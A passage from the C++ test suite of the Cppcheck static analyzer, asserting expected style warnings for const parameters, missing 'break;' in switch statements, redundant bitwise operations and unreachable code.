(style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, 